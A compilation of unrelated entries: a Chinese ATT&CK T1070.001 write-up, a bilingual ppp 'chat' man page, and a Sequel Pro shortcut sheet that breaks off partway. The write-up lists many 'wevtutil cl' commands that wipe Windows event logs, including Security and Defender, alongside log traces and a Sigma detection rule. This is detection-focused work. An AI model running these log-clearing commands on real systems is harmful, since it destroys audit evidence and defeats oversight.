# T1070-001-win-使用wevtutil命令删除日志 ## 来自ATT&CK的描述 攻击者可能试图阻止由监测软件或进程捕获到的告警,以及事件日志被收集和分析。这可能包括修改配置文件或注册表项中的监测软件的设置,以达到逃避追踪的目的。 在基于特征监测的情况下,攻击者可以阻止监测特征相关的数据被发送出去,以便于阻止安全人员进行分析。这可以有很多方式实现,例如停止负责转发的进程(splunk转发器、Filebate、rsyslog等)。 在正常的操作期间内,事件日志不太可能会被刻意清除。但是恶意攻击者可能会通过清除事件日志来尝试掩盖自己的踪迹。当事件日志被清除时,它是可疑的。发现“清除事件日志”时可能意味着有恶意攻击者利用了此项技术。 集中收集事件日志的一个好处就是使攻击者更难以掩盖他们的踪迹,事件转发允许将收集到的系统事件日志发送给多个收集器(splunk、elk等),从而实现冗余事件收集。使用冗余事件收集,可以最大限度的帮助我们发现威胁。 ## 测试案例 ```yml wevtutil.exe cl "ACEEventLog" wevtutil.exe cl "Application" wevtutil.exe cl "HardwareEvents" wevtutil.exe cl "Internet Explorer" wevtutil.exe cl "Key Management Service" wevtutil.exe cl "Media Center" wevtutil.exe cl "Microsoft-Windows-API-Tracing/Operational" wevtutil.exe cl "Microsoft-Windows-AppID/Operational" wevtutil.exe cl "Microsoft-Windows-Application-Experience/Problem-Steps-Recorder" wevtutil.exe cl "Microsoft-Windows-Application-Experience/Program-Compatibility-Assistant" wevtutil.exe cl "Microsoft-Windows-Application-Experience/Program-Compatibility-Troubleshooter" wevtutil.exe cl "Microsoft-Windows-Application-Experience/Program-Inventory" wevtutil.exe cl "Microsoft-Windows-Application-Experience/Program-Telemetry" wevtutil.exe cl "Microsoft-Windows-AppLocker/EXE and DLL" wevtutil.exe cl "Microsoft-Windows-AppLocker/MSI and Script" wevtutil.exe cl "Microsoft-Windows-Audio/CaptureMonitor" wevtutil.exe cl "Microsoft-Windows-Audio/Operational" wevtutil.exe cl "Microsoft-Windows-Authentication User Interface/Operational" wevtutil.exe cl "Microsoft-Windows-Backup" wevtutil.exe cl "Microsoft-Windows-BitLocker-DrivePreparationTool/Admin" wevtutil.exe cl "Microsoft-Windows-BitLocker-DrivePreparationTool/Operational" wevtutil.exe cl "Microsoft-Windows-Bits-Client/Operational" wevtutil.exe cl "Microsoft-Windows-Bluetooth-MTPEnum/Operational" wevtutil.exe cl "Microsoft-Windows-BranchCache/Operational" wevtutil.exe cl "Microsoft-Windows-BranchCacheSMB/Operational" wevtutil.exe cl "Microsoft-Windows-CodeIntegrity/Operational" wevtutil.exe cl "Microsoft-Windows-CorruptedFileRecovery-Client/Operational" wevtutil.exe cl "Microsoft-Windows-CorruptedFileRecovery-Server/Operational" wevtutil.exe cl "Microsoft-Windows-DateTimeControlPanel/Operational" wevtutil.exe cl "Microsoft-Windows-DeviceSync/Operational" wevtutil.exe cl "Microsoft-Windows-Dhcp-Client/Admin" wevtutil.exe cl "Microsoft-Windows-DhcpNap/Admin" wevtutil.exe cl "Microsoft-Windows-Dhcpv6-Client/Admin" wevtutil.exe cl "Microsoft-Windows-Diagnosis-DPS/Operational" wevtutil.exe cl "Microsoft-Windows-Diagnosis-PCW/Operational" wevtutil.exe cl "Microsoft-Windows-Diagnosis-PLA/Operational" wevtutil.exe cl "Microsoft-Windows-Diagnosis-Scheduled/Operational" wevtutil.exe cl "Microsoft-Windows-Diagnosis-Scripted/Admin" wevtutil.exe cl "Microsoft-Windows-Diagnosis-Scripted/Operational" wevtutil.exe cl "Microsoft-Windows-Diagnosis-ScriptedDiagnosticsProvider/Operational" wevtutil.exe cl "Microsoft-Windows-Diagnostics-Networking/Operational" wevtutil.exe cl "Microsoft-Windows-Diagnostics-Performance/Operational" wevtutil.exe cl "Microsoft-Windows-DiskDiagnostic/Operational" wevtutil.exe cl "Microsoft-Windows-DiskDiagnosticDataCollector/Operational" wevtutil.exe cl "Microsoft-Windows-DiskDiagnosticResolver/Operational" wevtutil.exe cl "Microsoft-Windows-DriverFrameworks-UserMode/Operational" wevtutil.exe cl "Microsoft-Windows-EapHost/Operational" wevtutil.exe cl "Microsoft-Windows-EventCollector/Operational" wevtutil.exe cl "Microsoft-Windows-Fault-Tolerant-Heap/Operational" wevtutil.exe cl "Microsoft-Windows-FMS/Operational" wevtutil.exe cl "Microsoft-Windows-Folder Redirection/Operational" wevtutil.exe cl "Microsoft-Windows-Forwarding/Operational" wevtutil.exe cl "Microsoft-Windows-GroupPolicy/Operational" wevtutil.exe cl "Microsoft-Windows-Help/Operational" wevtutil.exe cl "Microsoft-Windows-HomeGroup Control Panel/Operational" wevtutil.exe cl "Microsoft-Windows-HomeGroup Listener Service/Operational" wevtutil.exe cl "Microsoft-Windows-HomeGroup Provider Service/Operational" wevtutil.exe cl "Microsoft-Windows-IKE/Operational" wevtutil.exe cl "Microsoft-Windows-International/Operational" wevtutil.exe cl "Microsoft-Windows-International-RegionalOptionsControlPanel/Operational" wevtutil.exe cl "Microsoft-Windows-Iphlpsvc/Operational" wevtutil.exe cl "Microsoft-Windows-Kernel-EventTracing/Admin" wevtutil.exe cl "Microsoft-Windows-Kernel-Power/Thermal-Operational" wevtutil.exe cl "Microsoft-Windows-Kernel-StoreMgr/Operational" wevtutil.exe cl "Microsoft-Windows-Kernel-WDI/Operational" wevtutil.exe cl "Microsoft-Windows-Kernel-WHEA/Errors" wevtutil.exe cl "Microsoft-Windows-Kernel-WHEA/Operational" wevtutil.exe cl "Microsoft-Windows-Known Folders API Service" wevtutil.exe cl "Microsoft-Windows-LanguagePackSetup/Operational" wevtutil.exe cl "Microsoft-Windows-MCT/Operational" wevtutil.exe cl "Microsoft-Windows-MemoryDiagnostics-Results/Debug" wevtutil.exe cl "Microsoft-Windows-MUI/Admin" wevtutil.exe cl "Microsoft-Windows-MUI/Operational" wevtutil.exe cl "Microsoft-Windows-NCSI/Operational" wevtutil.exe cl "Microsoft-Windows-NetworkAccessProtection/Operational" wevtutil.exe cl "Microsoft-Windows-NetworkAccessProtection/WHC" wevtutil.exe cl "Microsoft-Windows-NetworkLocationWizard/Operational" wevtutil.exe cl "Microsoft-Windows-NetworkProfile/Operational" wevtutil.exe cl "Microsoft-Windows-NlaSvc/Operational" wevtutil.exe cl "Microsoft-Windows-NTLM/Operational" wevtutil.exe cl "Microsoft-Windows-OfflineFiles/Operational" wevtutil.exe cl "Microsoft-Windows-ParentalControls/Operational" wevtutil.exe cl "Microsoft-Windows-PeopleNearMe/Operational" wevtutil.exe cl "Microsoft-Windows-PowerShell/Operational" wevtutil.exe cl "Microsoft-Windows-PrintService/Admin" wevtutil.exe cl "Microsoft-Windows-ReadyBoost/Operational" wevtutil.exe cl "Microsoft-Windows-ReadyBoostDriver/Operational" wevtutil.exe cl "Microsoft-Windows-Recovery/Operational" wevtutil.exe cl "Microsoft-Windows-ReliabilityAnalysisComponent/Operational" wevtutil.exe cl "Microsoft-Windows-RemoteApp and Desktop Connections/Admin" wevtutil.exe cl "Microsoft-Windows-RemoteAssistance/Admin" wevtutil.exe cl "Microsoft-Windows-RemoteAssistance/Operational" wevtutil.exe cl "Microsoft-Windows-Resource-Exhaustion-Detector/Operational" wevtutil.exe cl "Microsoft-Windows-Resource-Exhaustion-Resolver/Operational" wevtutil.exe cl "Microsoft-Windows-Resource-Leak-Diagnostic/Operational" wevtutil.exe cl "Microsoft-Windows-RestartManager/Operational" wevtutil.exe cl "Microsoft-Windows-Security-Audit-Configuration-Client/Operational" wevtutil.exe cl "Microsoft-Windows-TerminalServices-LocalSessionManager/Admin" wevtutil.exe cl "Microsoft-Windows-TerminalServices-LocalSessionManager/Operational" wevtutil.exe cl "Microsoft-Windows-TerminalServices-PnPDevices/Admin" wevtutil.exe cl "Microsoft-Windows-TerminalServices-PnPDevices/Operational" wevtutil.exe cl "Microsoft-Windows-TerminalServices-RDPClient/Operational" wevtutil.exe cl "Microsoft-Windows-TerminalServices-RemoteConnectionManager/Admin" wevtutil.exe cl "Microsoft-Windows-TerminalServices-RemoteConnectionManager/Operational" wevtutil.exe cl "Microsoft-Windows-TZUtil/Operational" wevtutil.exe cl "Microsoft-Windows-UAC/Operational" wevtutil.exe cl "Microsoft-Windows-UAC-FileVirtualization/Operational" wevtutil.exe cl "Microsoft-Windows-User Profile Service/Operational" wevtutil.exe cl "Microsoft-Windows-VDRVROOT/Operational" wevtutil.exe cl "Microsoft-Windows-VHDMP/Operational" wevtutil.exe cl "Microsoft-Windows-WER-Diag/Operational" wevtutil.exe cl "Microsoft-Windows-WFP/Operational" wevtutil.exe cl "Microsoft-Windows-Windows Defender/Operational" wevtutil.exe cl "Microsoft-Windows-Windows Defender/WHC" wevtutil.exe cl "Microsoft-Windows-Windows Firewall With Advanced Security/ConnectionSecurity" wevtutil.exe cl "Microsoft-Windows-Windows Firewall With Advanced Security/Firewall" wevtutil.exe cl "Microsoft-Windows-WindowsBackup/ActionCenter" wevtutil.exe cl "Microsoft-Windows-WindowsSystemAssessmentTool/Operational" wevtutil.exe cl "Microsoft-Windows-WindowsUpdateClient/Operational" wevtutil.exe cl "Microsoft-Windows-Winlogon/Operational" wevtutil.exe cl "Microsoft-Windows-WinRM/Operational" wevtutil.exe cl "Microsoft-Windows-Winsock-WS2HELP/Operational" wevtutil.exe cl "Microsoft-Windows-Wired-AutoConfig/Operational" wevtutil.exe cl "Microsoft-Windows-WLAN-AutoConfig/Operational" wevtutil.exe cl "Microsoft-Windows-WPD-ClassInstaller/Operational" wevtutil.exe cl "Microsoft-Windows-WPD-CompositeClassDriver/Operational" wevtutil.exe cl "Microsoft-Windows-WPD-MTPClassDriver/Operational" wevtutil.exe cl "ODiag" wevtutil.exe cl "OSession" wevtutil.exe cl "Security" wevtutil.exe cl "Setup" wevtutil.exe cl "System" wevtutil.exe cl "Windows PowerShell" ``` ## 检测日志 windows sysmon ## 测试复现 ```yml C:\Windows\system32>wevtutil cl security ``` ## 测试留痕 ### sysmon_log ```yml Process Create: RuleName: - UtcTime: 2020-11-29 13:15:07.077 ProcessGuid: {bb1f7c32-9edb-5fc3-8100-000000001900} ProcessId: 1908 Image: C:\Windows\System32\wevtutil.exe FileVersion: 6.1.7600.16385 (win7_rtm.090713-1255) Description: Eventing Command Line Utility Product: Microsoft® Windows® Operating System Company: Microsoft Corporation OriginalFileName: wevtutil.exe CommandLine: wevtutil cl security CurrentDirectory: C:\Windows\system32\ User: 12306Br0-PC\12306Br0 LogonGuid: {bb1f7c32-7b3c-5fc3-f960-060000000000} LogonId: 0x660f9 TerminalSessionId: 1 IntegrityLevel: High Hashes: SHA1=BDCF4B78B6D6F45EDC9D226CE05B7ADC3B366248 ParentProcessGuid: {bb1f7c32-7b69-5fc3-5000-000000001900} ParentProcessId: 3328 ParentImage: C:\Windows\System32\cmd.exe ParentCommandLine: "C:\Windows\System32\cmd.exe" ``` ### windows_security_log ```yml 已创建新进程。 使用者: 安全 ID: 12306Br0-PC\12306Br0 帐户名称: 12306Br0 帐户域: 12306Br0-PC 登录 ID: 0x660f9 进程信息: 新进程 ID: 0x774 新进程名称: C:\Windows\System32\wevtutil.exe 令牌提升类型: TokenElevationTypeFull (2) 创建者进程 ID: 0xd00 进程命令行: #未开启记录命令行参数审核,所以此处为空 ``` ## 检测规则/思路 ### sigma ```yml title: windows 日志清除 description: win7模拟测试结果 status: experimental author: 12306Bro logsource: ​ product: windows ​ service: security detection: ​ selection1: ​ EventID: ​ - 1 #sysmon ​ - 4688 #Windows 安全日志 Process.name: 'wevtutil.exe' #Application Name Commanline: 'cl' selection2: Process.name: 'powershell.exe' #Application Name Commanline: 'Clear-EventLog' ​condition: selection1 OR selection2 level: medium ``` ### 建议 如果你想基于windows日志进行检测,那么你需要留意在产生了1102(日志清除)后,wevtutil进程(4688/4689)的调用情况。至少,它在我的测试环境中是这么展示的。 ## 参考推荐 MITRE-ATT&CK-T1070-001 <https://attack.mitre.org/techniques/T1070/001/> powershell:Clear-EventLog <https://blog.csdn.net/weixin_30800807/article/details/97087311>
sec-knowleage
.\" -*- nroff -*- .\" manual page [] for chat 1.8 .\" SH section heading .\" SS subsection heading .\" LP paragraph .\" IP indented paragraph .\" TP hanging label .TH CHAT 8 "22 May 1999" "Chat Version 1.22" .SH NAME chat \- 與數據機自動溝通的指令稿 .SH "总览 SYNOPSIS" .B chat [ .I options ] .I script .SH "描述 DESCRIPTION" .LP \fIchat\fR 程式在電腦與數據機之間定義溝通交換事宜。 它最主要的 目的是用來在點對點協定的隱形程式 (pppd) 以及遠端的 pppd 程序 之間建立連線。 .SH "选项 OPTIONS" .TP .B -f \fI<chat file> 從 chat 檔案讀取 chat 指令稿。這個選項的使用與 chat 的 令稿參數互斥(mutually exclusive)。使用者必須具有存取該 檔案的讀取權。在檔案中允許多線(multiple lines)設定。應 該要以空白或是橫向定位(horizontal tab)字元來分隔字串。 .TP .B -t \fI<timeout> 對於所要接收的期待字串(expected string)設定逾時限制。 如果在該時間限制內沒有接收到該字串的話那麼就不送出回覆 字串(reply string)。 可以送出一個變通(alternate)的回覆 或者如果沒有變通的回覆字串則該指令稿將會失敗。一個失敗 的指令稿將會使得 chat 程式以一個非零的錯誤碼結束。 .TP .B -r \fI<report file> Set the file for output of the report strings. If you use the keyword \fIREPORT\fR, the resulting strings are written to this file. If this option is not used and you still use \fIREPORT\fR keywords, the \fIstderr\fR file is used for the report strings. .TP .B -e Start with the echo option turned on. Echoing may also be turned on or off at specific points in the chat script by using the \fIECHO\fR keyword. When echoing is enabled, all output from the modem is echoed to \fIstderr\fR. .TP .B -E Enables environment variable substituion within chat scripts using the standard \fI$xxx\fR syntax. .TP .B -v 要求 chat 指令稿以冗長(verbose)模式執行。 這個 chat 程 式接下來會將所有從數據機接收的文字以及輸出的字串記錄到 SYSLOG 去。The default is to log through the SYSLOG; the logging method may be altered with the -S and -s flags. .TP .B -V Request that the \fIchat\fR script be executed in a stderr verbose mode. The \fIchat\fR program will then log all text received from the modem and the output strings sent to the modem to the stderr device. This device is usually the local console at the station running the chat or pppd program. .TP .B -s Use stderr. All log messages from '-v' and all error messages will be sent to stderr. .TP .B -S Do not use the SYSLOG. By default, error messages are sent to the SYSLOG. The use of -S will prevent both log messages from '-v' and error messages from being sent to the SYSLOG. .TP .B -T \fI<phone number> Pass in an arbitary string, usually a phone number, that will be substituted for the \\T substitution metacharacter in a send string. .TP .B -U \fI<phone number 2> Pass in a second string, usually a phone number, that will be substituted for the \\U substitution metacharacter in a send string. This is useful when dialing an ISDN terminal adapter that requires two numbers. .TP .B script script 如果指令稿沒有以 -f 選項指定在檔案裡那麼該指令稿會如同 參數般被包含在 chat 程式裡。 .SH "CHAT 脚本 SCRIPT" .LP \fIchat\fR 脚本定義通訊過程 .LP 一個指令稿裡包含一個或多個〞期待對方送出(expect-send)〞的配對 字串(pairs of string),以空白隔開,還有一個選擇性的〞期待對方 送出之候補(subexpect-subsend)〞配對字串,以短線(dash)隔開。像 下面這個例子: .IP ogin:-BREAK-ogin: ppp ssword: hello2u2 .LP 這一行指示 chat 程式應該期待 "ogin:" 這個字串。如果在所分配的 時間區間內接收簽入提示失敗的話, 那它就送出一個中斷程序(break sequence)給遠端然後期待 "ogin:" 這個字串。 如果第一個 "ogin:" 被接收到那麼中斷程序就不會產生。 .LP 一旦它接收到該簽入提示則 chat 程式將會送出 ppp 這個字串然後期 待 "ssword:" 這個提示。當它接收到密碼提示以後,它將會送出密碼 hello2u2 。 .LP 一般在回覆字串後面會跟著送出一個機架返回(carriage return)。在 〞期待〞字串裡除非以 \r 字元程序(character sequence)指定為必 須否則不會期待它的出現。 .LP 期待程序(expect sequence)應該只包含辨認字串所需要的資料。因為 它一般是儲放在磁碟檔案裡,它不應該包含變動的資訊。 通常以期待 字串來尋找時間字串(time strings), 網路辨識字串(network iden- tification strings),或是其它變動的資料是不被接受的。 .LP 為求協助修正在初始化程序中(initial sequence) 可能會傳送錯誤的 字元,所以尋找 "ogin:" 這個字串而不是 "login:" 。 開頭的 "l" 字元可能接收錯誤而你永遠找不到該字串, 即使它已經被系統送出。 因此緣故,指令稿尋找 "ogin:" 而不是 "login:" 以及 "ssword" 而 不是 "password:" 。 .LP 一個非常簡單的指令稿看起來可能像這樣: .IP ogin: ppp ssword: hello2u2 .LP 換句話說, 期待 ...ogin:, 送出 ppp, 期待 ...ssword:, 再送出 hello2u2 。 .LP 在實際使用上,簡單的指令稿是罕見的。最少最少, 原先的字串沒有 被接收時你應該要把候補期待(sub-sequences)包括進來。例如,考慮 下面這個例子: .IP ogin:--ogin: ppp ssword: hello2u2 .LP 這會是一個比前面所用的簡單指令稿更好的指令稿。 這個會尋找相同 同的 login: 提示,然而, 如果沒有接收到的話, 會送出一個單獨的 返回程序(return sequence)並且它會接著再次尋找 login: 。要是雜 雜訊掩蓋掉第一個 login 提示那麼接著送出空線路(empty line)經常 將會再次產生簽入提示。 .SH COMMENTS Comments can be embedded in the chat script. A comment is a line which starts with the \fB#\fR (hash) character in column 1. Such comment lines are just ignored by the chat program. If a '#' character is to be expected as the first character of the expect sequence, you should quote the expect string. If you want to wait for a prompt that starts with a # (hash) character, you would have to write something like this: .IP # Now wait for the prompt and send logout string .br \'# ' logout .LP .SH SENDING DATA FROM A FILE If the string to send starts with an at sign (@), the rest of the string is taken to be the name of a file to read to get the string to send. If the last character of the data read is a newline, it is removed. The file can be a named pipe (or fifo) instead of a regular file. This provides a way for \fBchat\fR to communicate with another program, for example, a program to prompt the user and receive a password typed in. .LP .SH "放弃字符串 ABORT STRINGS" 許多數據機會以字串來回報呼叫的狀況。 這些字串可能是 CONNECTED 或是 NO CARRIER 或是 BUSY 。 通常要是數據機連線到遠端失敗的話 應該會希望結束指令稿。 困難是指令稿不會確實地知道它可能接收到 哪個數據機字串。在某次嘗試時, 他可能接收到 BUSY 然而下次它可 能接收到 NO CARRIER 。 .LP 這些〞失敗〞字串可以用 ABORT 程序指定到指令稿中。像是下面這個 例子般地寫到指令稿裡: .IP ABORT BUSY ABORT 'NO CARRIER' '' ATZ OK ATDT5551212 CONNECT .LP 這個程序將不會期待什麼;而且接著送出 ATZ 這個字串。對此期待的 回應是 OK 這個字串。當它接收到 OK 時,字串 ADTD5551212 就進行 撥號。期待字串是 CONNECT 。 如果字串 CONNECT 被接收到那麼就會 執行指令稿其餘的部份。然而,要是數據機發現電話忙線, 他將會送 出 BUSY 這個字串。 這會使得該字串符合失敗字元程序(abort char- acter)。 這個指令稿將會因為它發現一個失敗字串(abort string)而 失敗(fail)。如果他接收到的是 NO CARRIER 字串, 它也會因為同樣 的原因而失敗。不是可以接收到字串就是字串將終結 chat 指令稿。 .SH CLR_ABORT STRINGS This sequence allows for clearing previously set \fBABORT\fR strings. \fBABORT\fR strings are kept in an array of a pre-determined size (at compilation time); \fBCLR_ABORT\fR will reclaim the space for cleared entries so that new strings can use that space. .SH SAY STRINGS The \fBSAY\fR directive allows the script to send strings to the user at the terminal via standard error. If \fBchat\fR is being run by pppd, and pppd is running as a daemon (detached from its controlling terminal), standard error will normally be redirected to the file /etc/ppp/connect-errors. .LP \fBSAY\fR strings must be enclosed in single or double quotes. If carriage return and line feed are needed in the string to be output, you must explicitely add them to your string. .LP The SAY strings could be used to give progress messages in sections of the script where you want to have 'ECHO OFF' but still let the user know what is happening. An example is: .IP ABORT BUSY .br ECHO OFF .br SAY "Dialling your ISP...\\n" .br \'' ATDT5551212 .br TIMEOUT 120 .br SAY "Waiting up to 2 minutes for connection ... " .br CONNECT '' .br SAY "Connected, now logging in ...\n" .br ogin: account .br ssword: pass .br $ \c SAY "Logged in OK ...\n" \fIetc ...\fR .LP This sequence will only present the SAY strings to the user and all the details of the script will remain hidden. For example, if the above script works, the user will see: .IP Dialling your ISP... .br Waiting up to 2 minutes for connection ... Connected, now logging in ... .br Logged in OK ... .LP .SH REPORT STRINGS A \fBreport\fR string is similar to the ABORT string. The difference is that the strings, and all characters to the next control character such as a carriage return, are written to the report file. .LP The report strings may be used to isolate the transmission rate of the modem's connect string and return the value to the chat user. The analysis of the report string logic occurs in conjunction with the other string processing such as looking for the expect string. The use of the same string for a report and abort sequence is probably not very useful, however, it is possible. .LP The report strings to no change the completion code of the program. .LP These "report" strings may be specified in the script using the \fIREPORT\fR sequence. It is written in the script as in the following example: .IP REPORT CONNECT ABORT BUSY '' ATDT5551212 CONNECT '' ogin: account .LP This sequence will expect nothing; and then send the string ATDT5551212 to dial the telephone. The expected string is \fICONNECT\fR. If the string \fICONNECT\fR is received the remainder of the script is executed. In addition the program will write to the expect-file the string "CONNECT" plus any characters which follow it such as the connection rate. .SH CLR_REPORT STRINGS This sequence allows for clearing previously set \fBREPORT\fR strings. \fBREPORT\fR strings are kept in an array of a pre-determined size (at compilation time); \fBCLR_REPORT\fR will reclaim the space for cleared entries so that new strings can use that space. .SH ECHO The echo options controls whether the output from the modem is echoed to \fIstderr\fR. This option may be set with the \fI-e\fR option, but it can also be controlled by the \fIECHO\fR keyword. The "expect-send" pair \fIECHO\fR \fION\fR enables echoing, and \fIECHO\fR \fIOFF\fR disables it. With this keyword you can select which parts of the conversation should be visible. For instance, with the following script: .IP ABORT 'BUSY' .br ABORT 'NO CARRIER' .br '' .br ATZ .br OK\\r\\n ATD1234567 .br \\r\\n \\c .br ECHO ON .br CONNECT \\c .br ogin: account .LP all output resulting from modem configuration and dialing is not visible, but starting with the \fICONNECT\fR (or \fIBUSY\fR) message, everything will be echoed. .SH HANGUP The HANGUP options control whether a modem hangup should be considered as an error or not. This option is useful in scripts for dialling systems which will hang up and call your system back. The HANGUP options can be \fBON\fR or \fBOFF\fR. .br When HANGUP is set OFF and the modem hangs up (e.g., after the first stage of logging in to a callback system), \fBchat\fR will continue running the script (e.g., waiting for the incoming call and second stage login prompt). As soon as the incoming call is connected, you should use the \fBHANGUP ON\fR directive to reinstall normal hang up signal behavior. Here is an (simple) example script: .IP ABORT 'BUSY' .br \'\' ATZ .br OK\\r\\n ATD1234567 .br \\r\\n \\c .br CONNECT \\c .br \'Callback login:' call_back_ID .br HANGUP OFF .br ABORT "Bad Login" .br \'Callback Password:' Call_back_password .br TIMEOUT 120 .br CONNECT \\c .br HANGUP ON .br ABORT "NO CARRIER" .br ogin:--BREAK--ogin: real_account .br \fIetc ...\fR .LP .SH "超时 TIMEOUT" 初始的逾時值是 45 秒。這可以用 -t 參數來加以改變。 .LP 要對下一個期待字串改變逾時值的話,可以使用下面這個例子: .IP ATZ OK ATDT5551212 CONNECT TIMEOUT 10 ogin:--ogin: TIMEOUT 5 assword: hello2u2 .LP 這將會在期待 "login:" 提示的時候把逾時限制改成 10 秒。 逾時限 制接著在它尋找密碼提示時被改成 5 秒。 .LP 逾時限制一旦改變就會持續作用直到它再度被改變。 .SH "SENDING 发送 EOT" EOT 這個特別的回覆字串指示 chat 程式應該送出一個 EOT 字元到遠 端去。這是一般的檔案結束(End-of-file)字元程序。 在 EOT 後面並 不會跟著送出一個返回字元(return)。 .PP 這個 EOT 程序可以用 ^D 序列嵌入到送出的字串裡。 .SH "產生中斷 GENERATING BREAK" BREAK 這個特別的回覆字串將會使得一個中斷情況被送出。 這個中斷 是傳送端的一個特殊。接收端一般對此的處理是改變傳輸率。 它可以 用來循環測試遠端可能的傳輸率直到你能夠接到有效的簽入提示。 .PP 這個中斷程序可以用 \fI\\K\fR 序列嵌入到送出的字串裡。 .SH "转义序列 ESCAPE SEQUENCES" 期待以及回覆字串可以包含转义序列。 所有這種程序在回覆字串中都 是合法的。有許多在期待字串中是合法的。 那些在期待程序中無效的 會被指出。 .TP .B '' 期待或送出一個空字串(null string) 。如果你送出一個空字 串那麼它還會送出一個返回字元。這個程序可以是一對省略符 號(apostrophe)或者也可以是引用字元。 .TP .B \\\\b 代表一個退位(backspace)字元。 .TP .B \\\\c 抑制在回覆字串結尾的新列(newline)字元。 這是送出沒有返 回字元尾隨的字串的唯一方法。它必須在送出字串的結尾。例 如,這個程序 hello\c 將會簡單地送出字元 h, e, l, l, o。 (在期待字串中無效。) .TP .B \\\\d 延遲一秒鐘。該程式使用最長延遲為一秒的 sleep(1) 。(在 期待字串中無效。) .TP .B \\\\K 插入一個中斷(在期待字串中無效。) .TP .B \\\\n 送出一個新列(newline)或換行(linefeed)字元。 .TP .B \\\\N 送出一個空字元(null character)。同樣的程序可以用 \0 代 替。(在期待字串中無效。) .TP .B \\\\p 暫停一小段時間。延遲 1/10 秒。(在期待字串中無效。) .TP .B \\\\q 抑制字串寫往 SYSLOG 檔案。該 ?????? 字串被記錄到自己的 空間。(在期待字串中無效。) .TP .B \\\\r 傳送或期待一個機架返回(字元) .TP .B \\\\s 代替字串中的空白。這個可以用在不願引用包含空白的字串之時。'HI TIM' 以及 HI\\sTIM 是相同的。 .TP .B \\\\t 傳送或期待一個定位(tab)字元。 .TP .B \\\\T Send the phone number string as specified with the \fI-T\fR option .I (not valid in expect.) .TP .B \\\\U Send the phone number 2 string as specified with the \fI-U\fR option .I (not valid in expect.) .TP .B \\\\\\\\ 傳送或期待一個倒斜線(backslash)字元。 .TP .B \\\\ddd 將八進位數字 (ddd) 折疊(collapse)成單一的 ASCII 字元並 將其送出。(某些字元在期待字串中無效。) .TP .B \^^C 替換含有以 C 代表之控制字元的程序。例如,字元 DC1(17) 是以 ^Q 表示。(某些字元在期待字串中無效。) .SH ENVIRONMENT VARIABLES Environment variables are available within chat scripts, if the \fI-E\fR option was specified in the command line. The metacharacter \fI$\fR is used to introduce the name of the environment variable to substitute. If the substition fails, because the requested environment variable is not set, \fInothing\fR is replaced for the variable. .SH TERMINATION CODES The \fIchat\fR program will terminate with the following completion codes. .TP .B 0 The normal termination of the program. This indicates that the script was executed without error to the normal conclusion. .TP .B 1 One or more of the parameters are invalid or an expect string was too large for the internal buffers. This indicates that the program as not properly executed. .TP .B 2 An error occurred during the execution of the program. This may be due to a read or write operation failing for some reason or chat receiving a signal such as SIGINT. .TP .B 3 A timeout event occurred when there was an \fIexpect\fR string without having a "-subsend" string. This may mean that you did not program the script correctly for the condition or that some unexpected event has occurred and the expected string could not be found. .TP .B 4 The first string marked as an \fIABORT\fR condition occurred. .TP .B 5 The second string marked as an \fIABORT\fR condition occurred. .TP .B 6 The third string marked as an \fIABORT\fR condition occurred. .TP .B 7 The fourth string marked as an \fIABORT\fR condition occurred. .TP .B ... The other termination codes are also strings marked as an \fIABORT\fR condition. .LP Using the termination code, it is possible to determine which event terminated the script. It is possible to decide if the string "BUSY" was received from the modem as opposed to "NO DIAL TONE". While the first event may be retried, the second will probably have little chance of succeeding during a retry. .SH "参见 SEE ALSO" 關於 chat 指令稿的其它資訊可以在 UUCP 文件裡找到。chat 指令稿 的概念由 uucico 程式所使用的指令稿來的。 .LP uucico(1), uucp(1) .SH COPYRIGHT The \fIchat\fR program is in public domain. This is not the GNU public license. If it breaks then you get to keep both pieces. .SH "[中文版维护人]" .B asdchen <asdchen@pc2.hinet.net> .\" 原始文件:ppp 2.1.2b - chat.8.gz .\" 檔案敘述:數據機撥號軟體線上手冊 .\" 文件編號:LRG.LDTP.MANUAL.003 .\" 翻譯日期:1995/09/30 .\" 翻譯維護:asdchen@pc2.hinet.net .SH "[中文版最新更新]" .BR 1995/09/30 .SH "《中国linux论坛man手册翻译计划》:" .BI http://cmpp.linuxforum.net
sec-knowleage
--- title: Sequel Pro date: 2022-11-23 16:23:31.701510 background: bg-[#ca9c3d] label: Mac tags: - - mac categories: - Keyboard Shortcuts intro: | A visual cheat-sheet for the 71 keyboard shortcuts found in Sequel Pro. This application is MacOS-only. --- Keyboard Shortcuts ------------------ ### Main Tabs Shortcut | Action ---|--- `Cmd` `1` | Table Structure `Cmd` `2` | Table Content `Cmd` `3` | Table Relations `Cmd` `4` | Table Info `Cmd` `5` | Custom Query `Cmd` `6` | Table Triggers {.shortcuts} ### General Shortcuts Shortcut | Action ---|--- `Cmd` `N` | New window (connection file) `Cmd` `T` | New tab (connection file) `Cmd` `Shift` `A` | Add connection to favorites `Cmd` `O` | Open (connection file or SQL file) `Cmd` `Opt` `O` | Open current connection file in new window `Cmd` `S` | Save (connection flie) `Cmd` `Shift` `S` | Save as (connection file) `Cmd` `Ctrl` `S` | Save query `Cmd` `W` | Close (connection file) `Cmd` `Opt` `W` | Close all (connection file) `Cmd` `P` | Print `Cmd` `Shift` `I` | Import `Cmd` `Shift` `K` | Show console window `Cmd` `K` | Clear console `Ctrl` `Opt` `Left` | Back in history `Ctrl` `Opt` `Right` | Forward in history `Ctrl` `Tab` | Select next tab `Ctrl` `Shift` `Tab` | Select previous tab `Ctrl` `Shift` `N` | Insert NULL value `Cmd` `Shift` `C` | Copy create table syntax `Cmd` `Opt` `S` | Show create table syntax `Cmd` `Shift` `R` | Refresh databases `Cmd` `Shift` `D` | Choose database `Cmd` `Shift` `V` | Show server variables `Cmd` `Opt` `P` | Show server processes `Cmd` `Ctrl` `R` | Refresh tables `Cmd` `Shift` `F` | Flush privileges `Cmd` `U` | User accounts... `Cmd` `C` | Copy selection or selected row(s) `Cmd` `Opt` `C` | Copy selected row(s) with column names `Cmd` `Opt` `Ctrl` `C` | Copy selected row(s) as SQL INSERT `Cmd` `Shift` `T` | Show/hide toolbar `Cmd` `Ctrl` `F` | Filter table content `Cmd` `Opt` `Ctrl` `F` | Filter tables `Cmd` `Opt` `Ctrl` `B` | Bundle editor `Cmd` `Opt` `Ctrl` `N` | Navigator {.shortcuts} ### Select Shortcut | Action ---|--- `Ctrl` `W` | Select current word `Ctrl` `L` | Select current line `Cmd` `Shift` `B` | Select enclosing brackets `Cmd` `A` | Select all {.shortcuts} ### Table Structure Tab Shortcut | Action ---|--- `Cmd` `Opt` `A` | Add a new field `Del` | Delete selected field `Cmd` `D` | Duplicate selected field `Cmd` `R` | Refresh table structure `Cmd` `4` | Edit table details {.shortcuts} ### Table Content Tab Shortcut | 